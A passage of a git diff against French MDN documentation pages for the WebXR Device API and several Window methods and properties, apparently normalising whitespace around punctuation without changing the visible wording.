périphérique WebXR. - {{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}} - - : Configure le contexte WebGL pour qu'il soit compatible avec WebXR. Si le contexte n'a pas été créé initialement avec la propriété {{domxref ("WebGLContextAttributes.xrCompatible", "xrCompatible")}} définie sur `true`, vous devez appeler `makeXRCompatible()` avant d'essayer d'utiliser le contexte WebGL pour le rendu WebXR. Renvoie un {{jsxref ("Promise")}} qui se résout une fois que le contexte a été préparé, ou est rejeté si le contexte ne peut pas être configuré pour être utilisé par WebXR. + - : Configure le contexte WebGL pour qu'il soit compatible avec WebXR. Si le contexte n'a pas été créé initialement avec la propriété {{domxref ("WebGLContextAttributes.xrCompatible", "xrCompatible")}} définie sur `true`, vous devez appeler `makeXRCompatible()` avant d'essayer d'utiliser le contexte WebGL pour le rendu WebXR. Renvoie un {{jsxref ("Promise")}} qui se résout une fois que le contexte a été préparé, ou est rejeté si le contexte ne peut pas être configuré pour être utilisé par WebXR. ## Guides et tutoriels @@ -112,37 +112,37 @@ Les guides et didacticiels suivants sont une excellente ressource pour apprendre - [Starting up and shutting down a WebXR session](/en-US/docs/Web/API/WebXR_Device_API/Startup_and_shutdown) - : Avant de présenter une scène à l'aide d'un appareil XR tel qu'un casque ou des lunettes, vous avez besoin de créer une session WebXR liée à une couche de rendu qui dessine la scène pour la présentation dans chacun des écrans de l'appareil XR pour que l'effet 3D puisse être présenté à l'utilisateur. Ce guide explique comment créer et arrêter des sessions WebXR. - [Geometry and reference spaces in WebXR](/en-US/docs/Web/API/WebXR_Device_API/Geometry) - - : Dans ce guide, les concepts requis de la géométrie 3D sont brièvement passés en revue, et les fondamentaux de cette géométrie représentés dans WebXR sont détaillés. Apprenez comment les espaces de référence sont utilisés pour positionner les objets - et le visualiseur - et les différences entre les types d'espace de référence disponibles, ainsi que leurs cas d'utilisation. + - : Dans ce guide, les concepts requis de la géométrie 3D sont brièvement passés en revue, et les fondamentaux de cette géométrie représentés dans WebXR sont détaillés. Apprenez comment les espaces de référence sont utilisés pour positionner les objets - et le visualiseur - et les différences entre les types d'espace de référence disponibles, ainsi que leurs cas d'utilisation. - [Spatial tracking in WebXR](/en-US/docs/Web/API/WebXR_Device_API/Spatial_tracking) - : Ce guide décrit comment les objets—incluant le corps de l'utilisateur et ses parties—sont situés dans l'espace, et comment leur mouvement et leur orientation les uns par rapport aux autres sont surveillés et gérés au fil du temps. Cet article explique la relation entre les espaces, les poses/attitudes, les spectateurs et les vues. - [Rendering and the WebXR frame animation callback](/en-US/docs/Web/API/WebXR_Device_API/Rendering) - - : En commençant par la planification des images à afficher, ce guide explique ensuite comment déterminer le placement des objets dans la vue et comment les afficher dans la mémoire tampon WebGL utilisée pour chacune des deux vues de la scène pour les deux yeux. + - : En commençant par la planification des images à afficher, ce guide explique ensuite comment déterminer le placement des objets dans la vue et comment les afficher dans la mémoire tampon WebGL utilisée pour chacune des deux vues de la scène pour les deux yeux. - [Viewpoints and viewers: Simulating cameras in WebXR](/en-US/docs/Web/API/WebXR_Device_API/Cameras) - - : through a world in which the viewer doesn't really move.WebGL (et donc WebXR) n'a pas vraiment de concept de caméra, qui est le concept traditionnel utilisé pour représenter un point de vue dans les graphiques 3D. Dans cet article, nous voyons comment simuler une caméra et comment créer l'illusion de déplacer un spectateur dans un monde même si ce n'est pas le cas. + - : through a world in which the viewer doesn't really move.WebGL (et donc WebXR) n'a pas vraiment de concept de caméra, qui est le concept traditionnel utilisé pour représenter un point de vue dans les graphiques 3D. Dans cet article, nous voyons comment simuler une caméra et comment créer l'illusion de déplacer un spectateur dans un monde même si ce n'est pas le cas. - [Lighting a WebXR setting](/en-US/docs/Web/API/WebXR_Device_API/Lighting) - : Le rendu WebXR étant basé sur WebGL, les mêmes techniques d'éclairage utilisées pour toute application 3D sont appliquées aux scènes WebXR. Cependant, il existe des problèmes spécifiques à la création de paramètres de réalité augmentée et virtuelle qui doivent être pris en compte lors de l'écriture de votre code d'éclairage. Cet article traite de ces problèmes. - [Using bounded reference spaces](/en-US/docs/Web/API/WebXR_Device_API/Bounded_reference_spaces) - - : Dans cet article, nous examinons comment utiliser un espace de référence `bounded-floor` pour définir les limites des endroits où le spectateur peut se déplacer en toute sécurité sans quitter la zone suivie par son matériel XR ou entrer en collision avec un obstacle physique. Sur les appareils qui le prennent en charge, le `bounded-floor` peut être un outil utile dans votre répertoire. + - : Dans cet article, nous examinons comment utiliser un espace de référence `bounded-floor` pour définir les limites des endroits où le spectateur peut se déplacer en toute sécurité sans quitter la zone suivie par son matériel XR ou entrer en collision avec un obstacle physique. Sur les appareils qui le prennent en charge, le `bounded-floor` peut être un outil utile dans votre répertoire. ### Rendre interactif - [Movement, orientation, and motion: A WebXR example](/en-US/docs/Web/API/WebXR_Device_API/Movement_and_motion) - - : Dans cet exemple et tutoriel, nous utilisons les informations apprises tout au long de la documentation WebXR pour créer une scène contenant un cube et l'utilisateur peut déplacer autour en utilisant à la fois le casque VR, le clavier et la souris. + - : Dans cet exemple et tutoriel, nous utilisons les informations apprises tout au long de la documentation WebXR pour créer une scène contenant un cube et l'utilisateur peut déplacer autour en utilisant à la fois le casque VR, le clavier et la souris. - [Inputs and input sources](/en-US/docs/Web/API/WebXR_Device_API/Inputs) - : Un guide sur les sources d'entrée et comment gérer efficacement les périphériques d'entrée utilisés pour contrôler la session WebXR, et comment recevoir et traiter les entrées utilisateur de ces périphériques. - [Targeting and hit detection](/en-US/docs/Web/API/Web_Audio_API/Targeting) - - : Comment utiliser le mode rayon de ciblage et l'espace de rayon de ciblage d'une source d'entrée pour afficher un rayon de ciblage, identifier les surfaces ou les objets ciblés et effectuer des tâches associées. + - : Comment utiliser le mode rayon de ciblage et l'espace de rayon de ciblage d'une source d'entrée pour afficher un rayon de ciblage, identifier les surfaces ou les objets ciblés et effectuer des tâches associées. - [Using WebXR input profiles](/en-US/docs/Web/API/WebXR_Device_API/Input_profiles) - - : Un guide pour interpréter les données {{Glossary ("JSON")}} fournies par le [WebXR Input Profiles Registry](https://github.com/immersive-web/webxr-input-profiles/tree/master/packages/registry), qui peut être utilisé pour déterminer les options et commandes disponibles sur les périphériques d'entrée de l'utilisateur. + - : Un guide pour interpréter les données {{Glossary ("JSON")}} fournies par le [WebXR Input Profiles Registry](https://github.com/immersive-web/webxr-input-profiles/tree/master/packages/registry), qui peut être utilisé pour déterminer les options et commandes disponibles sur les périphériques d'entrée de l'utilisateur. - [Supporting advanced controllers and gamepads in WebXR applications](/en-US/docs/Web/WebXR_Device_API/Gamepads) - - : WebXR utilise l'objet {{domxref ("Gamepad")}} pour décrire les commandes disponibles sur les périphériques d'entrée complexes (tels que les manettes avec plusieurs boutons et/ou axes) et les périphériques tels que les manettes de jeu. Dans ce guide, découvrez comment faire usage des commandes de ces périphériques. + - : WebXR utilise l'objet {{domxref ("Gamepad")}} pour décrire les commandes disponibles sur les périphériques d'entrée complexes (tels que les manettes avec plusieurs boutons et/ou axes) et les périphériques tels que les manettes de jeu. Dans ce guide, découvrez comment faire usage des commandes de ces périphériques. ### Performance and sécurité - [WebXR performance guide](/en-US/docs/Web/API/WebXR_Device_API/Performance) - : Recommandations et astuces pour vous aider à optimiser les performances de votre application WebXR. - [Permissions and security for WebXR](/en-US/docs/Web/API/WebXR_Device_API/Permissions_and_security) - - : L'API de périphérique WebXR doit faire face à de nombreux domaines de sécurité, de l'établissement d'une politique de fonctionnalité à l'assurance que l'utilisateur a l'intention d'utiliser la présentation en réalité mixte avant de l'activer. + - : L'API de périphérique WebXR doit faire face à de nombreux domaines de sécurité, de l'établissement d'une politique de fonctionnalité à l'assurance que l'utilisateur a l'intention d'utiliser la présentation en réalité mixte avant de l'activer. ### Inclure d'autres médias @@ -165,6 +165,6 @@ Les guides et didacticiels suivants sont une excellente ressource pour apprendre - [Graphics on the web](/en-US/docs/Web/Guide/Graphics) - [Drawing graphics](/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics) -- [WebGL API](/en-US/docs/Web/API/WebGL_API): Graphiques 2D et 3D sur le web +- [WebGL API](/en-US/docs/Web/API/WebGL_API): Graphiques 2D et 3D sur le web - [Canvas API](/en-US/docs/Web/API/Canvas_API): Le dessin en 2D pour le web - [Canvas tutorial](/en-US/docs/Web/API/Canvas_API/Tutorial) diff --git a/files/fr/web/api/window/alert/index.md b/files/fr/web/api/window/alert/index.md index 501056191e..9efdaf9108 100644 --- a/files/fr/web/api/window/alert/index.md +++ b/files/fr/web/api/window/alert/index.md @@ -21,9 +21,9 @@ Affiche un dialogue d'alerte contenant le texte spécifié. ### Exemple - window.alert("Bonjour !"); + window.alert("Bonjour !"); -produira : +produira :  @@ -31,7 +31,7 @@ produira : Le dialogue d'alerte doit être utilisé pour les messages qui ne demandent aucune réponse de la part de l'utilisateur, à part son acceptation du message. -Le texte suivant est commun à cet article, `DOM:window.prompt` et `DOM:window.confirm` Les boîtes de dialogue sont des fenêtres modales : elles empêchent l'utilisateur d'accéder au reste de l'interface du programme tant qu'elles ne sont pas fermées. C'est pourquoi il ne faut pas abuser des fonctions créant une boîte de dialogue (ou fenêtre modale). +Le texte suivant est commun à cet article, `DOM:window.prompt` et `DOM:window.confirm` Les boîtes de dialogue sont des fenêtres modales : elles empêchent l'utilisateur d'accéder au reste de l'interface du programme tant qu'elles ne sont pas fermées. C'est pourquoi il ne faut pas abuser des fonctions créant une boîte de dialogue (ou fenêtre modale). Les applications utilisant le chrome (par exemple les extensions) devront plutôt utiliser les méthodes de [nsIPromptService](fr/NsIPromptService). diff --git a/files/fr/web/api/window/applicationcache/index.md b/files/fr/web/api/window/applicationcache/index.md index 1366a2ac23..8063c37a22 100644 --- a/files/fr/web/api/window/applicationcache/index.md +++ b/files/fr/web/api/window/applicationcache/index.md @@ -3,11 +3,11 @@ title: Window.applicationCache slug: Web/API/Window/applicationCache translation_of: Web/API/Window/applicationCache --- -> **Attention :** Le cache d'application est obsolète depuis Firefox 44, et n'est plus disponible dans un contexte non sécurisé depuis Firefox 60 ({{bug(1354175)}}, actuellemet Nightly/Beta seulement). Ne pas l'utiliser sur des sites hors lignes — envisager l'utilisation de [service workers](/en-US/docs/Web/API/Service_Worker_API) à la place. +> **Attention :** Le cache d'application est obsolète depuis Firefox 44, et n'est plus disponible dans un contexte non sécurisé depuis Firefox 60 ({{bug(1354175)}}, actuellemet Nightly/Beta seulement). Ne pas l'utiliser sur des sites hors lignes — envisager l'utilisation de [service workers](/en-US/docs/Web/API/Service_Worker_API) à la place. {{APIRef}} -Retourne une référence à l'objet du cache d'application pour la fenêtre. +Retourne une référence à l'objet du cache d'application pour la fenêtre. ## Syntaxe @@ -15,7 +15,7 @@ Retourne une référence à l'objet du cache d'application pour la fenêtre. ### Paramètres -- `cache` est une référence objet pour un {{domxref("OfflineResourceList")}}. +- `cache` est une référence objet pour un {{domxref("OfflineResourceList")}}. ## Spécification diff --git a/files/fr/web/api/window/beforeunload_event/index.md b/files/fr/web/api/window/beforeunload_event/index.md index b67730e1a7..c30004caf5 100644 --- a/files/fr/web/api/window/beforeunload_event/index.md +++ b/files/fr/web/api/window/beforeunload_event/index.md @@ -73,7 +73,7 @@ Quand l'événement retourne une valeur non nulle, l'utilisateur est invité à Depuis le 25 mai 2011, la spécification HTML5 indique que les appels aux méthodes [`window.alert()`](/fr/docs/Web/API/Window/alert), [`window.confirm()`](/fr/docs/Web/API/Window/confirm) et [`window.prompt()`](/fr/docs/Web/API/Window/prompt) peuvent être ignorés durant l'évènement. Voir [la spécification HTML5 (en anglais)](https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#user-prompts) pour plus de détails. -Noter aussi que de nombreux navigateurs ignorent le résultat de l'événement (il n'y a donc aucune demande de confirmation). Firefox a une préférence cachée dans about:config pour faire de même. Essentiellement, cela signifie que l'utilisateur confirme toujours silencieusement que le document peut être déchargé. +Noter aussi que de nombreux navigateurs ignorent le résultat de l'événement (il n'y a donc aucune demande de confirmation). Firefox a une préférence cachée dans about:config pour faire de même. Essentiellement, cela signifie que l'utilisateur confirme toujours silencieusement que le document peut être déchargé. ## Spécifications diff --git a/files/fr/web/api/window/cancelanimationframe/index.md b/files/fr/web/api/window/cancelanimationframe/index.md index 7091fd2664..fcf6d330f7 100644 --- a/files/fr/web/api/window/cancelanimationframe/index.md +++ b/files/fr/web/api/window/cancelanimationframe/index.md @@ -11,7 +11,7 @@ tags: - Window translation_of: Web/API/Window/cancelAnimationFrame --- -{{APIRef}}La méthode **`window.cancelAnimationFrame()`** met fin à une animation précédement configurée par un appel à {{domxref("window.requestAnimationFrame()")}}. +{{APIRef}}La méthode **`window.cancelAnimationFrame()`** met fin à une animation précédement configurée par un appel à {{domxref("window.requestAnimationFrame()")}}. ## Syntaxe diff --git a/files/fr/web/api/window/cancelidlecallback/index.md b/files/fr/web/api/window/cancelidlecallback/index.md index 126c343b54..e3cfad291c 100644 --- a/files/fr/web/api/window/cancelidlecallback/index.md +++ b/files/fr/web/api/window/cancelidlecallback/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Window/cancelIdleCallback --- {{APIRef}}{{SeeCompatTable}} -La méthode **`window.cancelIdleCallback()`** annule une fonction précedemment planifiée via {{domxref("window.requestIdleCallback()")}}. +La méthode **`window.cancelIdleCallback()`** annule une fonction précedemment planifiée via {{domxref("window.requestIdleCallback()")}}. ## Syntaxe diff --git a/files/fr/web/api/window/clearimmediate/index.md b/files/fr/web/api/window/clearimmediate/index.md index 453c55bedb..50f4905ff4 100644 --- a/files/fr/web/api/window/clearimmediate/index.md +++ b/files/fr/web/api/window/clearimmediate/index.md @@ -24,12 +24,12 @@ où immediateID est un ID retourné par {{DOMxRef("window.setImmediate")}}. ```js let immediateID = setImmediate(() => { - // Exécute du code + // Exécute du code } document.getElementById("bouton") .addEventListener(() => { - clearImmediate(immediateID); + clearImmediate(immediateID); }); ``` diff --git a/files/fr/web/api/window/close/index.md b/files/fr/web/api/window/close/index.md index ee82f5b027..f99c4734fc 100644 --- a/files/fr/web/api/window/close/index.md +++ b/files/fr/web/api/window/close/index.md @@ -19,7 +19,7 @@ Ferme la fenêtre référencée. Lorsque cette méthode est appelée, la fenêtre référencée est fermée. -Cette méthode est uniquement autorisée à être appelée pour des fenêtres qui ont été ouvertes par un script à l'aide de la méthode [window.open](fr/DOM/window.open). Si la fenêtre n'a pas été ouverte par un script, l'erreur suivante apparaît dans la console JavaScript : `Scripts may not close windows that were not opened by script.` +Cette méthode est uniquement autorisée à être appelée pour des fenêtres qui ont été ouvertes par un script à l'aide de la méthode [window.open](fr/DOM/window.open). Si la fenêtre n'a pas été ouverte par un script, l'erreur suivante apparaît dans la console JavaScript : `Scripts may not close windows that were not opened by script.` #### Exemples diff --git a/files/fr/web/api/window/closed/index.md b/files/fr/web/api/window/closed/index.md index 02f4358698..92867fa845 100644 --- a/files/fr/web/api/window/closed/index.md +++ b/files/fr/web/api/window/closed/index.md @@ -20,12 +20,12 @@ Cette propriété est en lecture seule. ### Valeur renvoyée - `isClosed` - - : Un booléen. Les valeurs possibles sont : + - : Un booléen. Les valeurs possibles sont : <!----> -- `false` : La fenêtre est ouverte. -- `true` : La fenêtre a été fermée. +- `false` : La fenêtre est ouverte. +- `true` : La fenêtre a été fermée. ### Exemples @@ -46,7 +46,7 @@ Dans cette exemple, la fonction `refreshPopupWindow()` appelle une fonction dans var popupWindow = null; function refreshPopupWindow() { - if (popupWindow && !popupWindow.closed) { + if (popupWindow && !popupWindow.closed) { // Le popup a déjà été ouvert et il l'est encore. // On peut donc appeler sa fonction doRefresh(). popupWindow.doRefresh(); diff --git a/files/fr/web/api/window/confirm/index.md b/files/fr/web/api/window/confirm/index.md index ba204b503d..5a51a25ead 100644 --- a/files/fr/web/api/window/confirm/index.md +++ b/files/fr/web/api/window/confirm/index.md @@ -27,7 +27,7 @@ Affiche un dialogue modal avec un message et deux boutons, OK et Annuler. ### Notes -Le texte suivant est commun à cet article, `DOM:window.prompt` et `DOM:window.confirm` Les boîtes de dialogue sont des fenêtres modales : elles empêchent l'utilisateur d'accéder au reste de l'interface du programme tant qu'elles ne sont pas fermées. C'est pourquoi il ne faut pas abuser des fonctions créant une boîte de dialogue (ou fenêtre modale). +Le texte suivant est commun à cet article, `DOM:window.prompt` et `DOM:window.confirm` Les boîtes de dialogue sont des fenêtres modales : elles empêchent l'utilisateur d'accéder au reste de l'interface du programme tant qu'elles ne sont pas fermées. C'est pourquoi il ne faut pas abuser des fonctions créant une boîte de dialogue (ou fenêtre modale). Les applications utilisant le chrome (par exemple les extensions) devront plutôt utiliser les méthodes de [nsIPromptService](fr/NsIPromptService). diff --git a/files/fr/web/api/window/console/index.md b/files/fr/web/api/window/console/index.md index 3478ea9292..32fa0284b1 100644 --- a/files/fr/web/api/window/console/index.md +++ b/files/fr/web/api/window/console/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Window/console --- {{ APIRef }} -La propriété **`Window.console`** en lecture seule retourne une référence à l'objet {{domxref("Console")}}, qui founit des méthodes pour afficher des information sur la console du navigateur. Ces méthodes ont pour seul but le débogage et ne devraient pas servir à présenter des informations au utilisateurs. +La propriété **`Window.console`** en lecture seule retourne une référence à l'objet {{domxref("Console")}}, qui founit des méthodes pour afficher des information sur la console du navigateur. Ces méthodes ont pour seul but le débogage et ne devraient pas servir à présenter des informations au utilisateurs. ## Syntaxe diff --git a/files/fr/web/api/window/content/index.md b/files/fr/web/api/window/content/index.md index d40f4f7090..5249432c2a 100644 --- a/files/fr/web/api/window/content/index.md +++ b/files/fr/web/api/window/content/index.md @@ -21,7 +21,7 @@ Certains exemples utilisent `_content` à la place de `content`. Cette forme est ### Exemple -L'exécution du code suivant dans une fenêtre chrome XUL contenant un élement `<browser type="content-primary"/>` dessine une bordure rouge autour du premier élément div de la page actuellement affichée dans le navigateur : +L'exécution du code suivant dans une fenêtre chrome XUL contenant un élement `<browser type="content-primary"/>` dessine une bordure rouge autour du premier élément div de la page actuellement affichée dans le navigateur : content.document.getElementsByTagName("div")[0].style.border = "solid red 1px"; diff --git a/files/fr/web/api/window/devicepixelratio/index.md b/files/fr/web/api/window/devicepixelratio/index.md index fdc4cc14b6..3ca84a2f88 100644 --- a/files/fr/web/api/window/devicepixelratio/index.md +++ b/files/fr/web/api/window/devicepixelratio/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Window/devicePixelRatio --- {{APIRef}} -La propriété en lecture seule `Window.devicePixelRatio` retourne le rapport entre la taille (verticale) d'un pixel physique sur le périphérique d'affichage et la taille d'un pixel indépendant du matériel (abrégé en anglais "dips"). +La propriété en lecture seule `Window.devicePixelRatio` retourne le rapport entre la taille (verticale) d'un pixel physique sur le périphérique d'affichage et la taille d'un pixel indépendant du matériel (abrégé en anglais "dips"). Aucun rappel ni événement ne se déclenche lorsque la valeur change (par exemple, si vous glissez la fenêtre entre deux écrans à densités de pixels différentes). @@ -26,4 +26,4 @@ Aucun rappel ni événement ne se déclenche lorsque la valeur change (par exemp ## Voir aussi - [CSS `resolution` media query](/en-US/docs/Web/CSS/@media/resolution) -- PPK a effectué des [recherches sur devicePixelRatio](http://www.quirksmode.org/blog/archives/2012/06/devicepixelrati.html) +- PPK a effectué des [recherches sur devicePixelRatio](http://www.quirksmode.org/blog/archives/2012/06/devicepixelrati.html) diff --git a/files/fr/web/api/window/domcontentloaded_event/index.md b/files/fr/web/api/window/domcontentloaded_event/index.md index 4cc63d6a57..add5e2c9e4 100644 --- a/files/fr/web/api/window/domcontentloaded_event/index.md +++ b/files/fr/web/api/window/domcontentloaded_event/index.md @@ -29,7 +29,7 @@ L’évènement **`DOMContentLoaded`** est émis lorsque le document HTML initia </tbody> </table> -La cible originale pour cet évènement est le {{domxref("Document")}} qui a terminé de charger. Vous pouvez observer cet évènement sur l’interface `Window` pour le gérer dans les phases de capture ou de bouillonnement. Pour plus de détails, veuillez consulter la page de l’évènement {{domxref("Document/DOMContentLoaded_event", "Document: DOMContentLoaded event")}}. +La cible originale pour cet évènement est le {{domxref("Document")}} qui a terminé de charger. Vous pouvez observer cet évènement sur l’interface `Window` pour le gérer dans les phases de capture ou de bouillonnement. Pour plus de détails, veuillez consulter la page de l’évènement {{domxref("Document/DOMContentLoaded_event", "Document: DOMContentLoaded event")}}. L'évènement [`load`](/fr/docs/Web/API/Window/load_event), très différent, doit être utilisé uniquement pour détecter qu'une page est entièrement chargée. C'est une erreur répandue d'utiliser [`load`](/fr/docs/Web/API/Window/load_event) là où `DOMContentLoaded` serait beaucoup plus approprié. @@ -39,7 +39,7 @@ L'évènement [`load`](/fr/docs/Web/API/Window/load_event), très différent, do ## Accélérer -Si vous voulez que le DOM soit analysé aussi rapidement que possible après que l’utilisateur ou l’utilisatrice a demandé la page, vous pouvez [rendre votre JavaScript asynchrone](/fr/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests) et [optimiser le chargement des feuilles de style](https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery). Ces dernières, sans optimisation, ralentissent le chargement de la page parce qu’elles sont chargées en parallèle, et « subtilisent » de la bande passante au document html principal. +Si vous voulez que le DOM soit analysé aussi rapidement que possible après que l’utilisateur ou l’utilisatrice a demandé la page, vous pouvez [rendre votre JavaScript asynchrone](/fr/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests) et [optimiser le chargement des feuilles de style](https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery). Ces dernières, sans optimisation, ralentissent le chargement de la page parce qu’elles sont chargées en parallèle, et « subtilisent » de la bande passante au document html principal. ## Exemples @@ -63,5 +63,5 @@ window.addEventListener("DOMContentLoaded", (event) => { ## Voir aussi -- Évènements associés : {{event("load")}}, {{event("readystatechange")}}, {{event("beforeunload")}}, {{event("unload")}} -- Cet évènement sur les cibles {{domxref("Document")}} : {{domxref("Document/DOMContentLoaded_event", "Document: DOMContentLoaded event")}} +- Évènements associés : {{event("load")}}, {{event("readystatechange")}}, {{event("beforeunload")}}, {{event("unload")}} +- Cet évènement sur les cibles {{domxref("Document")}} : {{domxref("Document/DOMContentLoaded_event", "Document: DOMContentLoaded event")}} diff --git a/files/fr/web/api/window/focus/index.md b/files/fr/web/api/window/focus/index.md index 708c13bd59..3b07247225 100644 --- a/files/fr/web/api/window/focus/index.md +++ b/files/fr/web/api/window/focus/index.md @@ -21,4 +21,4 @@ Demande la mise au premier plan de la fenêtre. Cet appel peut échouer en fonct | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG','interaction.html#dom-window-focus','Window.focus()')}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG','interaction.html#dom-window-focus','Window.focus()')}} | {{Spec2('HTML WHATWG')}} | | diff --git a/files/fr/web/api/window/frames/index.md b/files/fr/web/api/window/frames/index.md index d9e60bcb8c..538f0b2bbd 100644 --- a/files/fr/web/api/window/frames/index.md +++ b/files/fr/web/api/window/frames/index.md @@ -21,9 +21,9 @@ Renvoie la fenêtre elle-même, qui est semblable à un objet de type Array, lis frameList = window.frames; -- `frameList` est une liste d'objets frame, semblable à un tableau grâce à la propriété `length` . Ses éléments sont accessibles en utilisant la notation `{{ mediawiki.external('i') }}`. +- `frameList` est une liste d'objets frame, semblable à un tableau grâce à la propriété `length` . Ses éléments sont accessibles en utilisant la notation `{{ mediawiki.external('i') }}`. - `frameList === window` est évalué à `true`. -- Chaque élément de `window.frames` est un pseudo tableau représentant l'objet [window](/en/DOM/window) correspondant au contenu de la [\<frame>](/en/HTML/Element/frame) ou [\<iframe>](/en/HTML/Element/iframe) , et non au DOM element (i)frame (ex., `window.frames[ 0 ]` équivaut à `document.getElementsByTagName( "iframe" )[ 0 ].contentWindow`). +- Chaque élément de `window.frames` est un pseudo tableau représentant l'objet [window](/en/DOM/window) correspondant au contenu de la [\<frame>](/en/HTML/Element/frame) ou [\<iframe>](/en/HTML/Element/iframe) , et non au DOM element (i)frame (ex., `window.frames[ 0 ]` équivaut à `document.getElementsByTagName( "iframe" )[ 0 ].contentWindow`). - pour plus de détails sur la valeur retournée, se référer au [fil de discussion sur mozilla.dev.platform](http://groups.google.com/group/mozilla.dev.platform/browse_thread/thread/5628c6f346859d4f/169aa7004565066?hl=en&ie=UTF-8&oe=utf-8&q=window.frames&pli=1). ## Exemple diff --git a/files/fr/web/api/window/fullscreen/index.md b/files/fr/web/api/window/fullscreen/index.md index e46e50b9ec..549e41ee63 100644 --- a/files/fr/web/api/window/fullscreen/index.md +++ b/files/fr/web/api/window/fullscreen/index.md @@ -17,17 +17,17 @@ Cette propriété indique si la fenêtre est affichée en mode plein écran ou n var isInFullScreen = windowRef.fullScreen; -Avec les privilèges chrome, la propriété est modifiable ; autrement elle est en lecture seule. Souvenez-vous que si vous essayez de définir cette propriété sans les privilèges chrome, aucune exception ne sera déclenchée et l'appel échouera juste silencieusement. Cela permet d'empêcher que des scripts conçus pour utiliser cette propriété dans Internet Explorer cessent de fonctionner. +Avec les privilèges chrome, la propriété est modifiable ; autrement elle est en lecture seule. Souvenez-vous que si vous essayez de définir cette propriété sans les privilèges chrome, aucune exception ne sera déclenchée et l'appel échouera juste silencieusement. Cela permet d'empêcher que des scripts conçus pour utiliser cette propriété dans Internet Explorer cessent de fonctionner. ### Valeur de retour - `isInFullScreen` - - : Une valeur booléenne. Signification des valeurs : + - : Une valeur booléenne. Signification des valeurs : <!----> -- `true` : La fenêtre est en mode plein écran. -- `false` : La fenêtre n'est pas en mode plein écran. +- `true` : La fenêtre est en mode plein écran. +- `false` : La fenêtre n'est pas en mode plein écran. ### Exemples diff --git a/files/fr/web/api/window/getcomputedstyle/index.md b/files/fr/web/api/window/getcomputedstyle/index.md index 37eb7a2905..a5651758b5 100644 --- a/files/fr/web/api/window/getcomputedstyle/index.md +++ b/files/fr/web/api/window/getcomputedstyle/index.md @@ -28,7 +28,7 @@ La valeur de retour `style` est un objet [`CSSStyleDeclaration`](/en/DOM/CSSStyl var elem1 = document.getElementById("elemId"); var style = window.getComputedStyle(elem1, null); -// Ce qui équivaut à : +// Ce qui équivaut à : // var style = document.defaultView.getComputedStyle(elem1, null); ``` diff --git a/files/fr/web/api/window/getselection/index.md b/files/fr/web/api/window/getselection/index.md index 6b2f7b3796..92e5e6437e 100644 --- a/files/fr/web/api/window/getselection/index.md +++ b/files/fr/web/api/window/getselection/index.md @@ -26,7 +26,7 @@ Renvoie un objet selection représentant le ou les objets sélectionnés. ## Notes -En [JavaScript](fr/JavaScript), lorsqu'un objet de type Selection est passé à une fonction, c'est une représentation sous forme de chaîne (string), c'est-à-dire le texte sélectionné, qui lui est passée à la place. L'objet selection apparaît donc comme une chaîne, alors qu'il s'agit en réalité d'un objet possédant ses propres propriétés et méthodes. En pratique, c'est donc la valeur renvoyée par la méthode [`toString`](fr/DOM/Selection/toString) de l'objet Selection qui est passée. Dans l'exemple ci-dessus, `selObj` est automatiquement « convertie » lorsqu'elle est passée à [window.alert](fr/DOM/window.alert). Cependant, pour utiliser une propriété ou méthode JavaScript de [String](fr/JS/String) comme [`length`](fr/JS/String.prototype.length) ou [`substr`](fr/JS/String.prototype.substr), il est nécessaire d'appeler manuellement la méthode `toString`. I'm treading carefully with the word "convert" here because it could be misinterpreted as a permanent convert - Maian +En [JavaScript](fr/JavaScript), lorsqu'un objet de type Selection est passé à une fonction, c'est une représentation sous forme de chaîne (string), c'est-à-dire le texte sélectionné, qui lui est passée à la place. L'objet selection apparaît donc comme une chaîne, alors qu'il s'agit en réalité d'un objet possédant ses propres propriétés et méthodes. En pratique, c'est donc la valeur renvoyée par la méthode [`toString`](fr/DOM/Selection/toString) de l'objet Selection qui est passée. Dans l'exemple ci-dessus, `selObj` est automatiquement « convertie » lorsqu'elle est passée à [window.alert](fr/DOM/window.alert). Cependant, pour utiliser une propriété ou méthode JavaScript de [String](fr/JS/String) comme [`length`](fr/JS/String.prototype.length) ou [`substr`](fr/JS/String.prototype.substr), il est nécessaire d'appeler manuellement la méthode `toString`. I'm treading carefully with the word "convert" here because it could be misinterpreted as a permanent convert - Maian ## Spécification diff --git a/files/fr/web/api/window/history/index.md b/files/fr/web/api/window/history/index.md index d89aba868c..509555b9a0 100644 --- a/files/fr/web/api/window/history/index.md +++ b/files/fr/web/api/window/history/index.md @@ -5,10 +5,10 @@ translation_of: Web/API/Window/history --- {{APIRef}} -La propriété en lecture seule **`Window.history`** renvoie une référence à l'objet {{domxref("History")}}, qui offre la possibilité de manipuler l'historique de session du navigateur (pages visitées dans l'onglet ou le cadre dans lesquels la page courante est chargée). +La propriété en lecture seule **`Window.history`** renvoie une référence à l'objet {{domxref("History")}}, qui offre la possibilité de manipuler l'historique de session du navigateur (pages visitées dans l'onglet ou le cadre dans lesquels la page courante est chargée). -L'objet `History` obtenu a les méthodes suivantes : voir [la manipulation de l'historique du navigateur](/en/DOM/Manipulating_the_browser_history) pour avoir plus de détails ainsi que des exemples. -En particulier, cet article explique les caractéristiques des méthodes `pushState()` et `replaceState()`qu'il est utile de connaître avant de les utiliser. +L'objet `History` obtenu a les méthodes suivantes : voir [la manipulation de l'historique du navigateur](/en/DOM/Manipulating_the_browser_history) pour avoir plus de détails ainsi que des exemples. +En particulier, cet article explique les caractéristiques des méthodes `pushState()` et `replaceState()`qu'il est utile de connaître avant de les utiliser. ## Exemple @@ -19,11 +19,11 @@ history.go(-1); // similaire à history.back(); ## Notes -Pour les pages de niveau supérieur, vous pourrez voir la liste des pages dans l'historique des sessions, accessibles grâce à l'objet `History`, situé dans le menu déroulant près des boutons précédent et suivant. +Pour les pages de niveau supérieur, vous pourrez voir la liste des pages dans l'historique des sessions, accessibles grâce à l'objet `History`, situé dans le menu déroulant près des 